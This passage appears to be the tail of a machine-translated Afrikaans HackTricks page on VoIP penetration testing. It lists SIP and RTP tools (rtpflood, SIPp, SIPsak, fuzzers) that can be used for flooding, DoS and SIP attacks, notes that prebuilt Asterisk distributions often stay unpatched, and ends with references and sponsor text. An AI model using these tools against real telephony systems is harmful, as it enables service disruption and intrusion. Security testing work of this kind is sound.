- rtpflood: Stuur verskeie goed gevormde RTP pakkette. Dit is nodig om die RTP poorte wat gebruik word te ken (sniff eers).
- SIPp: Laat jou toe om SIP verkeer te analiseer en te genereer. Dit kan ook gebruik word om DoS te doen.
- SIPsak: SIP switserse leërskêr. Kan ook gebruik word om SIP aanvalle uit te voer.
- Fuzzers: protos-sip, voiper.
OS Kw vulnerabilities
Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n OS verspreiding af te laai wat dit reeds geïnstalleer het, soos: FreePBX, Elastix, Trixbox... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs dit nie weer opdateer nie en kw vulnerabilities sal met tyd ontdek word.
Verwysings
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
Vind en rapporteer kritieke, exploiteerbare kw vulnerabilities met werklike besigheidsimpak. Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ondersteun HackTricks
- Kyk na die subskripsieplanne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.